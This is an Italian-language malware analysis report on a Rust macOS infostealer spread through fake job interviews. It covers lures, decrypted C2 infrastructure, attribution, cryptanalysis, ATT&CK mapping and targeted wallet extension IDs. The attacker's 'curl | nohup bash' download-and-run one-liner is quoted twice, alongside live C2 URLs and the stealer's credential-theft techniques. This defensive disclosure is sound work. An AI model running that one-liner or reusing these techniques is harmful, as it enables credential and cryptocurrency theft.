HyperHives macOS Infostealer — Analisi Tecnica Completa

Intelligence sulle minacce: infostealer binario universale macOS basato su Rust diffuso attraverso un finto processo di colloquio di lavoro su Wellfound (ex AngelList). La persona operativa "Felix" di "HyperHive" ha indotto le vittime ad eseguire un installer malevolo da macos.hyperhives.net. Questo repository documenta l'analisi statica completa: 571 valori di configurazione crittografati recuperati, inclusi URL C2, un Sentry DSN e 276 ID di estensioni Chrome presi di mira.
| |
|---|
| SHA-256 del campione | 5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3 |
| Dominio C2 | cloudproxy.link |
| Dominio di consegna | macos.hyperhives.net |
| Piattaforma di attrazione | Wellfound (ex AngelList) |
| Persona operativa | "Felix" presso "HyperHive" |
| VirusTotal | 9 / 63 rilevamenti |
| Classificazione | Divulgazione pubblica / bundle IOC |
| Ultimo aggiornamento | Aprile 2026 |
Indice
Bundle di threat intelligence
Struttura del repository```
.
├── README.md # This report
├── iocs.txt # Flat IOC list
├── yara_rules.yar # YARA detection rules
├── sigma_rules.yml # Sigma detection rules
├── stix/
│ └── bundle.json # STIX 2.1 threat-intelligence bundle
├── attack-navigator-layer.json # ATT&CK Navigator layer
├── output/
│ ├── full_decrypted_config.json # Machine-readable decrypted configuration
│ ├── iocs.json # Structured IOC export
│ ├── c2_protocol.txt # C2 protocol field documentation
│ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates)
│ ├── source_map.txt # Reconstructed source-file layout
│ └── targets.txt # Targeted applications and data paths
├── scripts/
│ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation)
│ ├── analyze.py # Static analysis driver
│ ├── extract_all.py # String and structure extractor
│ ├── r2_analyze.py # Radare2 analysis automation
│ ├── r2_targeted.py # Targeted R2 analysis for helpers
│ └── validate_repo.py # CI validation script
├── sample/
│ └── README.md # Instructions for sample placement
├── Dockerfile # Analysis container image
├── docker-compose.yml # Air-gapped compose config
├── lab.sh # Helper script for Docker lab
├── SECURITY.md # Safe handling and vulnerability reporting
├── CONTRIBUTING.md # Contribution guidelines
├── CHANGELOG.md # Release history
├── LICENSE # MIT
└── .github/
├── workflows/validate.yml # CI: YARA + Sigma + file checks
├── ISSUE_TEMPLATE/ # Structured issue forms
└── PULL_REQUEST_TEMPLATE.md # PR checklist
## Avvio rapido
Posiziona il campione come `sample/installer_binary` (vedi [`sample/README.md`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/HEAD/sample/README.md) per la verifica dell'hash), quindi:```bash
docker compose build
docker compose run --rm lab python3 /lab/scripts/decrypt_all.py
Il file compose impone network_mode: none, read_only: true e rimuove tutte le capacità Linux. Consulta SECURITY.md per le linee guida complete.
TL;DR
Un annuncio di lavoro su Wellfound (ex AngelList) ha portato a una catena di social engineering via email multipla da parte di un operatore con il personaggio "Felix" di "HyperHive". Dopo aver lodato il background tecnico del bersaglio e aver fissato un finto colloquio, l'attaccante ha invitato la vittima a "visionare il prodotto" su hyperhives.net e a esaminare specificamente Settings → Diagnostics → Log — un pretesto per innescare l'esecuzione di:```
curl -s https://macos.hyperhives.net/install | nohup bash &
Il payload è un **binario universale Mach-O da 8.5 MB** (x86_64 + arm64) compilato in Rust. L'analisi statica con un laboratorio Docker isolato (air-gapped) e l'emulazione CPU di **570 routine helper x86_64 uniche** ha recuperato **tutti i 571 valori di configurazione crittografati**, rivelando:
- **C2:** `cloudproxy.link` — quattro endpoint HTTPS
- **Sentry (pivot di attribuzione):** DSN completo con ID org/project su `ingest.de.sentry.io`
- **Identità della build:** utente Cargo `rootr`, nome in codice `force`, versione `9.12.1`
- **Target:** 276 ID di estensioni Chrome (portafogli crypto, gestori di password, credenziali aziendali)
Le tattiche sono in linea con le campagne **Contagious Interview collegate alla Corea del Nord** — reclutamento fittizio su piattaforme legittime, costruzione della fiducia in più passaggi, distribuzione tramite `curl | bash`, stealer Rust per macOS, ed esfiltrazione focalizzata su criptovalute.
---
## 1 — Come è iniziato
### L'esca: colloquio di lavoro falso su Wellfound
L'attacco è iniziato con un **annuncio di lavoro dall'aspetto legittimo su Wellfound** (ex AngelList). Dopo che il target ha fatto domanda, è seguita la seguente catena di email da parte di un operatore che utilizzava la persona **"Felix"** e il nome dell'azienda **"HyperHive"**:
**Email 1** (4 aprile 2026) — Contatto iniziale. "Felix" ha riconosciuto il CV e il LinkedIn del target, ha dichiarato che il loro "Tech Lead" ha approvato il proseguimento e ha fatto specifico riferimento alla reale esperienza tecnica del target. L'email diceva che HyperHive stava "costruendo la versione desktop di Hyperhives su diversi sistemi operativi" e invitava il target a programmare un colloquio in UTC+0.
**Email 2** (5 aprile 2026) — Programmazione di follow-up. Proponeva uno slot specifico per il colloquio (8 aprile alle 15:00 UTC) e includeva la critica istruzione per la distribuzione del payload:
> *"Se riesci, dai anche un'occhiata rapida al registro del prodotto sotto **Impostazioni → Diagnostica → Registro**. Potremmo chiedere alcuni brevi commenti sul registro e su eventuali altre osservazioni sul prodotto che noti, poiché questo spesso dà un buon segnale dell'esperienza ingegneristica e dell'attenzione ai dettagli."*
Questo ha indirizzato il target a `https://hyperhives.net`, dove la navigazione alla sezione diagnostica ha attivato:```
curl -s https://macos.hyperhives.net/install | nohup bash &
Cosa è successo dopo
Il comando ha scaricato ed eseguito un binario universale Mach-O da 8,5 MB. Tramite AppleScript è apparso un falso dialogo per la password di macOS. La password non è stata inserita. I processi sono stati immediatamente terminati e il campione è stato conservato per l'analisi.
Riepilogo delle tecniche di ingegneria sociale
2 — Il binario
Il campione mostra un'ingegneria di livello produttivo: versionamento semantico, integrazione con Sentry per l'affidabilità operativa e una grande configurazione incorporata crittografata con 570 funzioni helper uniche.
Copertura VirusTotal
Rapporto completo — 9 / 63 motori rilevati al momento della sottomissione iniziale (aprile 2026). Oltre l'85% dei motori non è riuscito a segnalare questo campione.
Nomi di famiglia di vendor notevoli per riferimenti incrociati: HashBreaker (Kaspersky), JobStealer (DrWeb), PSW.Agent.BX (ESET), Stealer-BU (Avast/AVG).
Non rilevato da: BitDefender, CrowdStrike Falcon, Sophos, Symantec, McAfee, Malwarebytes, TrendMicro, Fortinet, ClamAV, Panda e altri 44 motori. Questo basso tasso di rilevamento sottolinea l'efficacia operativa dell'approccio Rust + offuscamento personalizzato utilizzato da questa campagna.
I rapporti di rilevamento cambiano man mano che i vendor aggiornano le firme. Controlla il rapporto VirusTotal per i risultati attuali.
3 — Cosa ruba
Dati del browser (basati su Chromium)
Tipi di dati rubati: password, carte di credito, cookie, token di sessione, compilazione automatica, cronologia di navigazione.
Dati di sistema macOS
- Portachiavi di login (
login.keychain-db) — richiede la password dell'utente raccolta tramite il falso dialogo
- Note di Apple — esfiltrato tramite AppleScript/osascript
- Identificatori hardware —
IOPlatformExpertDevice / IOPlatformUUID, segnalati come hardwares al C2
Messaggistica
- Telegram Desktop — materiale di sessione
tdata per la presa totale del controllo dell'account
Portafogli crypto (188 obiettivi logici, 276 ID estensione)
Targeting completo dei portafogli con estensione browser, inclusi MetaMask, Phantom, Trust Wallet, Ronin, Exodus, OKX, Bybit, Bitget, SubWallet, Ledger Live e Trezor Suite. Mappatura completa in Sezione 8 e output/full_decrypted_config.json.
Gestori di password
Evasione e controlli operativi
| Caratteristica | Dettaglio |
|---|
| Rilevamento VM |
Esfiltrazione
I dati vengono preparati sotto ~/Documents/temp_data/Application/, compressi in ZIP, caricati tramite multipart/form-data over HTTPS. L'IP della vittima e la geolocalizzazione vengono risolti tramite https://freeipapi.com/api/json.
4 — Infrastruttura C2 decifrata
Comando e controllo
| Endpoint | Ruolo |
|---|
https://cloudproxy.link/m/opened | Beacon / attivazione |
https://cloudproxy.link/m/metrics |
DSN Sentry (impronta operatore)```
https://526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008
| Componente | Valore |
|-----------|-------|
| **Chiave pubblica** | `526eff9f8bb7aafd7117ca5e33a6a183` |
| **ID organizzazione** | `4509139651198976` |
| **ID progetto** | `4509422649213008` |
| **Regione** | UE — `ingest.de.sentry.io` |
Un procedimento legale con Sentry potrebbe recuperare dettagli di registrazione dell'account, registri di fatturazione e metadati di accesso associati a questa org/progetto.
### API di geolocalizzazione
`https://freeipapi.com/api/json` — IP vittima / paese per JSON C2 (`ipAddress`, `countryCode`).
### Protocollo di esfiltrazione C2
| Campo | Ruolo |
|-------|-------|
| `buildName` / `buildVersion` | `force` / `9.12.1` |
| `uid`, `log_id` | Identificativi vittima / sessione |
| `ip`, `geo` | Da API di geolocalizzazione |
| `pers_password` | Password del falso dialogo |
| `passwords`, `wallets`, `credits`, `autofills` | Materiale rubato |
| `is_vm`, `hardwares`, `force_mode` | Flags ambiente / controllo |
Metodo di upload: `multipart/form-data`, `application/zip`, stringa di connessione `UPLD connect`.
---
## 5 — Attribuzione
### Indicatori di compromissione
| Indicatore | Valore | Fonte |
|-----------|-------|--------|
| Piattaforma di attrazione | Wellfound (AngelList) | Report vittima |
| Identità operatore | "Felix" presso "HyperHive" | Email di attrazione |
| Sito web di attrazione | `hyperhives.net` | Email di attrazione |
| Email mittente | `[email protected]` | Email di attrazione |
| Dominio di consegna | `macos.hyperhives.net` | Download payload |
| IP di consegna | `81.28.12.12` (Gcore CDN) | Risoluzione DNS |
| Registrar / email | Tucows; Spacemail | WHOIS / MX |
| **Dominio C2** | **`cloudproxy.link`** | **Decriptato dal campione** |
| **DSN Sentry** | Vedi [Sezione 4](#sentry-dsn-operator-fingerprint) | **Decriptato dal campione** |
| Utente build | `rootr` | Percorsi Cargo incorporati |
| SHA-256 campione | `5c7385c3...bf8dd3` | Hash file |
### Handle sviluppatore: `rootr`
Percorso incorporato `/Users/rootr/.cargo/registry/`. OSINT sull'handle — [github.com/rootr](https://github.com/rootr) (alla data dell'analisi): azienda elencata "RootR", posizione Ginevra, account creato **2024-06-27**, zero repository pubblici. Coerente con un profilo usa-e-getta o operativo.
### RPDC / Contagious Interview (valutazione analitica)
| TTP | Questo campione | Pattern riportato affine a RPDC |
|-----|-------------|--------------------------------|
| **Reclutamento falso su piattaforma legittima** | Annuncio Wellfound (AngelList) → catena email con "Felix" | Contagious Interview: outreach finto reclutatore su LinkedIn, Indeed, Wellfound |
| **Ingegneria sociale multi-fase** | 2+ email che fanno riferimento a CV reale, programmazione falso colloquio | Costruire fiducia prima del payload; documentato in più campagne RPDC |
| **Pretesto di revisione prodotto / test codice** | "Check Settings → Diagnostics → Log" | Pretesti "Rivedi il nostro progetto" / "esegui questo test di codice" |
| Distribuzione `curl \| bash` | One-liner di installazione da `macos.hyperhives.net` | Vettore comune di ingegneria sociale su macOS |
| Binario universale Mach-O Rust | rustc 1.87.0, x86_64 + arm64 | Cluster RustDoor / RustBucket / simili |
| Falso dialogo password | AppleScript `osascript` | Documentato in campagne macOS correlate |
| Ampio set di target portafogli crypto | 276 ID estensione, 188 nomi portafogli | Motivazione finanziaria coerente con generazione di entrate RPDC |
**Confidenza:** **alta** per allineamento tematico e TTP. La pipeline di falso lavoro Wellfound, la catena di fiducia multi-email, il pretesto di revisione prodotto, lo stealer Rust per macOS e l'attenzione ai portafogli crypto corrispondono strettamente al playbook Contagious Interview. Questa è una valutazione analitica, non una dichiarazione di attribuzione governativa o di forze dell'ordine.
---
## 6 — Crittoanalisi
Le stringhe di configurazione sono protette da un **cipher XOR personalizzato**: 570 piccole funzioni helper x86_64 (range codice `0x10000`–`0x15000`) calcolano ciascuna un offset unico a 16 bit da `(data_ptr, seed)`. L'offset indicizza nel binario per produrre una chiave XOR di 32 byte applicata al corrispondente blocco di ciphertext.
### Approcci che hanno fallito
| Metodo | Risultato |
|--------|---------|
| Spazzate XOR ingenue | Nessun plaintext coerente |
| Indovinamento chiave AES / PBKDF2 | Nessun key schedule trovato |
| Emulazione Unicorn completa del runtime Rust | La complessità del flusso di controllo ha causato divergenza |
### Approccio che ha funzionato
1. **Scansiona** per istruzioni `LEA` relative a RIP che puntano alla regione di configurazione (`0x2b8000`–`0x2bc000`).
2. **Analizza** il codice precedente per estrarre `(indirizzo_funzione_helper, puntatore_dati, seed)`.
3. **Emula** ogni helper in isolamento usando [Unicorn Engine](https://www.unicorn-engine.org/) (massimo 200 istruzioni).
4. **XOR-decrypta** il blocco di 32 byte all'indirizzo target usando la chiave all'offset calcolato.
5. **Estendi** per stringhe multi-blocco (URL, DSN) e voci metadata OR+XOR.
**Copertura:** 381 blocchi XOR + 190 voci metadata OR+XOR = **571 valori di configurazione recuperati** in 1.1 secondi. Zero voci crittate non recuperate.
**Implementazione:** [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/HEAD/scripts/decrypt_all.py)
---
## 7 — Mapping MITRE ATT&CK
> Importa [`attack-navigator-layer.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/HEAD/attack-navigator-layer.json) in [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) per una vista interattiva.
| Tecnica | ID | Utilizzo in questo campione |
|-----------|----|--------------------|
| Phishing | T1566 | Email di ingegneria sociale da `[email protected]` |
| Esecuzione utente: File dannoso | T1204.002 | `curl \| bash` dall'attrazione |
| Interprete comandi e script: AppleScript | T1059.002 | Falso dialogo password, esfiltrazione Apple Notes |
| Interprete comandi e script: Shell Unix | T1059.004 | Esecuzione iniziale tramite bash piped |
| Credenziali da archivi password: Keychain | T1555.001 | Estrazione login keychain |
| Credenziali da archivi password: Credenziali da browser web | T1555.003 | Decriptazione Login Data Chromium |
| Ruba cookie di sessione web | T1539 | Furto cookie e token browser |
| Dati da sistema locale | T1005 | Portafogli, Telegram, Note, autofill |
| Archivia dati raccolti | T1560 | Staging ZIP in `~/Documents/temp_data/` |
| Esfiltrazione su canale C2 | T1041 | POST HTTPS a `cloudproxy.link` |
| Protocollo livello applicazione: Protocolli web | T1071.001 | HTTPS C2 con quattro endpoint |
| Evasione virtualizzazione/sandbox | T1497 | Flag `is_vm` |
| File o informazioni offuscati | T1027 | 570 funzioni helper XOR |
| Acquisizione input | T1056 | Falso dialogo password |
| Scoperta informazioni sistema | T1082 | Raccolta ID hardware e versione OS |
| Scoperta configurazione rete sistema | T1016 | Geolocalizzazione `freeipapi.com` |
| Sovverti controlli fiducia: Bypass Gatekeeper | T1553.001 | `xattr -c` sul binario scaricato |
---
## 8 — Riferimento portafogli e ID estensione
188 nomi di portafogli e **276 ID univoci** di estensione Chrome da 32 caratteri sono stati recuperati. La seguente tabella mostra obiettivi di alto profilo; l'elenco completo è in [Appendice A](#appendix-a--all-276-chrome-extension-ids) e `output/full_decrypted_config.json`.
| Portafoglio | ID estensione |
|--------|--------------|
| MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
| Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` |
| Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` |
| Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` |
| Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` |
| OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` |
| Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` |
| Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` |
| SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` |
| Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
**Portafogli desktop:** Anche le directory dati di Ledger Live e Trezor Suite vengono prese di mira.
**Importante:** Questi ID estensione identificano **estensioni browser legittime** i cui dati locali il malware prende di mira per il furto. **Non** sono estensioni dannose.
---
## 9 — Azioni raccomandate
### Per potenziali vittime
- **Non** eseguire one-liner `curl | bash` sconosciuti
- Ruota tutte le credenziali salvate nel browser, le chiavi dei portafogli crypto e le password master dei gestori password se esposte
- Controlla la presenza di `~/Documents/temp_data/` sul disco
- Segnala alle forze dell'ordine locali e al CERT nazionale competente (es., IC3, NCSC)
### Per difensori
- **Blocca** `macos.hyperhives.net`, `cloudproxy.link` e `81.28.12.12` (verifica l'impatto dell'hosting condiviso prima di bloccare l'IP)
- **Cerca** traffico HTTPS verso `cloudproxy.link` e query DNS per entrambi i domini
- **Distribuisci** le regole YARA e Sigma da questo repository (adatta al tuo ambiente)
- **Confronta** le estensioni Chrome installate con la lista dei 276 ID (le estensioni sono legittime — il malware legge i loro dati locali)
- **Importa** `stix/bundle.json` nella tua piattaforma CTI (MISP, OpenCTI, ThreatConnect, ecc.)
### Per procedimenti legali
| Target | Cosa richiedere |
|--------|-----------------|
| Sentry | Record account e fatturazione per org `4509139651198976` |
| Registrar di dominio | Record WHOIS per `cloudproxy.link` e `hyperhives.net` |
| CDN Gcore | Log di accesso per `81.28.12.12` |
| Fornitore email | Record account per `[email protected]` |
| GitHub | Metadati account per `rootr` |
---
## 10 — Metodologia
L'analisi è stata eseguita in un **contenitore Docker** con:
- `network_mode: none` (nessuna connettività in uscita)
- `read_only: true` (filesystem root immutabile)
- Tutte le capacità Linux rimosse (`cap_drop: ALL`)
- Opzione di sicurezza `no-new-privileges`
Strumenti: Python (LIEF, Unicorn Engine, Capstone, r2pipe), Radare2 e script personalizzati. Non è stata eseguita alcuna esecuzione dinamica del malware — tutti i risultati derivano da analisi statica ed emulazione CPU isolata delle singole funzioni helper.
Artifact verificati: [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/HEAD/scripts/decrypt_all.py), [`output/full_decrypted_config.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/HEAD/output/full_decrypted_config.json).
---
## Appendice A — Tutti i 276 ID estensione Chrome
La configurazione del malware fa riferimento a questi ID estensione (percorsi local-storage / LevelDB sotto i profili utente). **Questi ID identificano estensioni legittime prese di mira per il furto di dati, non estensioni dannose.**```
abkahkcbhngaebpcgfmhkoioedceoigp abogmiocnneedmmepnohnhlijcjpcifd
acmacodkjbdgmoleebolmdjonilkdbch aeachknmefphepccionboohckonoeemg
aeblfdkhhhdcdjpifhhbdiojplfjncoa afbcbjpbpfadlkmhmclhkeeodmamcflc
afccgfbnbpgfdokbllhiccepgggofoco aflkmfhebedbjioipglgcbcmnbpgliof
agoakfejjabomempkjlepdflaleeobhb ahkpfejaeoepmfopmbhjgjekibmfcfgo
aholpfdialjgjfhomihkjbmgjidlcdno aiifbnbfobpmeekipheeijimdpnlpgpp
aijcbedoijmgnlmjeegjaglmepbmpkpi ajofhbfomojicfifgoeeimefklkfdkfn
ajopcimklncnhjednieoejhkffdolemp akckefnapafjbpphkefbpkpcamkoaoai
akkmagafhjjjjclaejjomkeccmjhdkpa algblmhagnobbnmakepomicmfljlbehg
amdcajcnofodjpgbbdnnjkffamfnidae amkmjjmmflddogmhpjloimipbofnfjih
ammjlinfekkoockogfhdkgcohjlbhmff anokgmphncpekkhclmingpimjmcooifb
aodkkagnadcbobfpggfnjeongemjbjca aoedbjimepepemdafoodplnknfkmbnle
apgjfbcibghlclbdiipmojppngeilcol bbjmepflljbbfaehppakknfgdnojoled
bccippoanbhflmokhkbkepmhmndijenh bcpialkijhffpgnmgjhjmdeabdbbfmbo
bdgmdoedahdcjmpmifafdhnffjinddgc bfeplaecgkoeckiidkgkmlllfbaeplgm
bflldjbbpcjgooclhpmhdhioebmnnkcm bfnaelmomeimhlpmgjnjophhpkkoljpa
bgjogpoidejdemgoochpnkmdjpocgkha bhhhlbepdkbapadjdnnojkbgioiodbic
bhmbcdekobebkhmloafbjfdcphbmpcnm bidcmgjdfgkagkleecdockomdjlgglbg
bifidjkcdpgfnlbcjpdkdcnbiooooblg blnieiiffboillknjnepogjhkgnoapac
bmkakpenjmcpfhhjadflneinmhboecjf bmmhjnaohafphhlecmkkiaaglcebcapn
bodadjcgfgigmmnambomndppidgdjlni bplepbelihejfpcjoeialhjpamgpnfln
caalbmclnkldkcgcdkfiapoopikbofnl cgeeodpfagjceefieflmdfphplkenlfk
cihmoadaighcejopammfbmddcmdekcje ciojocpkclfflombbcfigcijjcbkmhaf
cjelfplplebdjjenllpjcblmjkfcffne ckklhkaabbmdjkahiaaplikpdddkenic
cmbagcoinhmacpcgmbiniijboejgiahi cmoakldedjfnjofgbbfenefcagmedlga
cnmbailpgmdagpofalkeoeooefdkjfdl cnncmdhjacpkmjmkcafchppbnpnhdmon
cnoepnljjcacmnjnopbhjelpmfokpijm codfcglpplgmmlokgilfkpcjnmkbfiel
cpmkedoipcpimgecpmgpldfpohjplkpp dbgnhckhnppddckangcjbkjnlddbjkna
dcbjpgbkjoomeenajdabiicabjljlnfp dfbacijefbcabjnngipfnbhcpoldlkcg
dkdedlpgdmmkkfjabffeganieamfklkm dlcobpjiigpikoobohmabehhmhfoodbb
dldjpboieedgcmpkchcjcbijingjcgok dmjmllblpcbmniokccdoaiahcdajdjof
dngmlblcodfobpdpecaadgfbcggfjfnm dpcklmdombjcplafheapiblogdlgjjlb
dpdmipjakdiapplcecdmgckknipnfjph dpealdfjgahljjdekeiadjnfgpijffhg
dpmfhilhjlhhakpbieclcghochdofeao eaeecbmeajhliilmacefcgjnnijkkfki
ebaeifdbcjklcmoigppnpkcghndhpbbm ebfidpplhabeedpnhjnobghokpiioolj
efbglgofoippbgcjepnhiblaibcnclgk egjidjbpglichdcondbcbdnbeeppgdph
ehgjhhccekdedpbkifaojjaefeohnoea ehjiblpccbknkgimiflboggcffmpphhp
ejbalbakoplchlghecdalmeeeajnimhm ejbidfepgijlcgahbmbckmnaljagjoll
ejdmhlhkcfbkcoifejkcbonhodkgflgg ejjladinnckdgjemekebdpeokbikhfci
elalghlhoepcjfaedkcmjolahamlnjcp eljobehkpcnpekmbcjiidekjhkbcnpkf
ellkdbaphhldpeajbepobaecooaoafpg emafjfadeeammocialbgjbaeldmpddne
emeeapjkbcbpbpgaagfchmcgglmebnen emgcpdnckldpdhjgmkeeahfaokmhgpab
enabgbdfcbaehmbigakijjabdpdnimlg epapihdplajcdnnkdeiahlgigofloibg
fajmdbbmcncahahilpfdiacamedmgdlk fbplgegfggencanbeceipjpanlmgpkfi
fcckkdbjnoikooededlapcalpionmalo fcfcfllfndlomdhbehjjcoimbgofdncg
fcjkomdnccnlklmhncgmaehaakjkddnk fdchdcpieegfofnofhgdombfckhbcokj
fdcnegogpncmfejlfnffnofpngdiejii fdjamakpfbbddfjaooikfcpapjohcfmg
fhbohimaelbohpjbbldcngcnapndodjp fhilaheimglignddkjgofkcbgekhenbh
fhmmkjofdcpnoklcbcnbjjhigobceikb fihkakfobkmkjojpchpfgcmhfjnmnfpi
fijngjgcjhjmmpcmkeiomlglpeiijkld fjghjobbfggoacelnibacipoilennobn
fldfpgipfncgndfolcbkdeeknbbbnhcc fmpbldieijjehhalgjblbpgjmijencll
fnabdmcgpkkjjegokfcnfbpneacddpfh fnjhmkhhmkbjkkabndcnnogagogbneec
fnnegphlobjdpkhecapkijjdkgcjhkib fopmedgnkfpebgllppeddmmochcookhc
fpibioaihcagphbidhodidjbnclocgll fpkhgmpbidmiogeglndfbkegfdlnajnf
gbjepgaebckfidagpfeioimheabiohmg gdokollfhmnbfckbobkdbakhilldkhcj
gejiddohjgogedgjnonbofjigllpkmbf ghihpcdpbjaaomhlfnhdlocimojkinpm
ghlmndacnhlaekppcllcpcjjjomjkjpg ghmbeldphafepmbegfdlkpapadhbakde
gjlmehlldlphhljhpnlddaodbjjcchai gkeelndblnomfmjnophbhfhcjbcnemka
gkhnjcpkikkkfhhdhhphcbhmkikoicgn gkpbmnplcjdnnmmiaaphofhdiicdhfah
glhefpglgefbmegkpjkdgoikologepdl hbbgbephgojikajhfbomhlmmollphcad
hbdheoebpgogdkagfojahleegjfkhkpl hbinmkhlebcnghpikoekkbeljbealbje
hbneiaclpaaglopiogfdhgccebncnjmc hbnpcbochkgodkmmicbhfpmmkhbfbhim
hddkffjleepiafmkhcneldjipkfkkofk hdokiejnpimakedhajhdlcegeplioahd
heefohaffomkkkphnlpohglngmbcclhi hgbeiipamcgbdjhfflifkgehomnmglgk
hgnpaljkalilofmmbhgkkldbdbogddlo hifafgmccdpekplomjjkcfgodnhcellj
hlbmghfhijdlnllnnnakmcagdfhhkfna hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad hnhobjmcibchnmglfbldbfabcgaknlkj
hpbgcgmiemanfelegbndmhieiigkackl hpclkefagolihohboafpheddmmgdffjm
hpglfhgfnhbgpjdenjgmdgoeiappafln hpjiiechbbhefmpggegmahejiiphbmij
ibjflpbmadchofnbpppegdbnifdgincp ibljocddagjghmlpgihahamcghfggcjc
ibnejdfjmmkpcnlpebklmnkoeoihofec icmkfkmjoklfhlfdkkkgpnpldkgdmhoe
idnnbdplmphpflfnlkomgpfbpcgelopg idpfplgehakelkdadhcacicjjbemjbke
ifckdpamphokdglkkdomedpdegcjhjdp ifclboecfhkjbpmhgehodcjpciihhmif
ifgjklbmlnimhldbmddmkdhoahfocppf ikcpjgihikfinlkobegiiogdigohmfam
ilhaljfiglknggcoegeknjghdgampffk imlcamfeniaidioeflifonfjeeppblda
iokeahhehimjnekafflcihljlcjccdbe jaooiolkmfcmloonphpiiogkfckgciom
jbdaocneiiinmjbjlgalhcelgbejmnid jccapkebeeiajkkdemacblkjhhhboiek
jfdlamikmbghhapbgfoogdffldioobgl jfflgdhkeohhkelibbefdcgjijppkdeb
jhjebgdkdemiibiibgickfkilfpbelaj jhnilbocebbmeelaolalihfokjgdmogb
jicpmdkafljkkppgpellcjhfhdmjpogm jiepnaheligkibgcjgjepjfppgbcghmp
jiidiaalihmmhddjgbnbgdfflelocpak jjkhekbaikcnpnhflnnlnbonkkobkiim
jljjeghmeihjegifdhbghcoihdiegkkl jmgipjhlmabpmcikcahmmgleghckefjg
jnggcdmajcokeakpdeagdhphmkioabem jnldfbidonfeldmalbflbmlebbipcnle
jnlgamecbpmbajjfhmmmlhejkemejdma jojhfeoedkpkglbfimdfabpdfjaoolaf
kdgponmicjmjiejhifbjgembdcaclcib keenhcnmdmjjhincpilijphpiohdppno
kfdniefadaanbjodldohaedphafoffoh kgdijkcfiglijhaglibaidbipiejjfdp
khgocmkkpikpnmmkgmdnfckapcdkgfaf khpkpbbcccdmmclmpigdgddabeilkdpd
kilnpioakcdndlodeeceffgjdpojajlo kjjebdkfeagdoogagbhepmbimaphnfln
kkpehldckknjffeakihjajcjccmcjflh kkpllbgjhchghjapjbinnoddmciocphm
kkpllkodjeloidieedojogacfhpaihoh klghhnkeealcohjjanjjdaeeggmfmlpl
kmphdnilpmdejikjdnlbcnmnabepfgkh kncchdigobghenbbaddojjnnaogfppfj
kolfcecahpbgbilkdkalabnfjjklkkae kpfopkelmapcoipemfendmdcghnegimn
kppfdiipphfccemcignhifpjkapfbihd kppgpfphbmbcgeglphjnhnhibonmebkn
lccbohhgfkdikahanoclbdmaolidjdfl ldcihfaojdpmhjkhioilfjjckehehddg
lfmmjkfllhmfmkcobchabopkcefjkoip lgmpcpglpngdoalbgeoldeajfclnhafa
lkpmkhpnhknhmibgnmmhdhgdilepfghe llakdhpogpnejheknjbhbadoaomejgbi
lmkncnlpeipongihbffpljgehamdebgi lnnnmfcpbkafcpgdilckhmhbkkbpkmid
loinekcabhlmhjjbocijdoimmejangoa lpfcbjknijpeeillifnkikgncikgfhdo
lpilbniiabackdjcionkobglmddfbcjo magbanejlegnbcppjljfhnmfmghialkl
mapbhaebnddapnmifbbkgeedkeplgjmf mcbigmjiafegjnnogedioegffbooigli
mcohilncbfahbmgdjkbpemcciiolgcge mdjjoodeandllhefapdpnffjolechflh
mdjmfdffdcmnoblignmgpommbefadffd mdnaglckomeedfbogeajfajofmfgpoae
mfgccjchihfkkindfppnaooecgfneiii mfiealgchgibibbamfjebflnfjihfedk
mgbfflhghaohmaecmaggieniidindaoc mgfbabcnedcejkfibpafadgkhmkifhbd
mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl
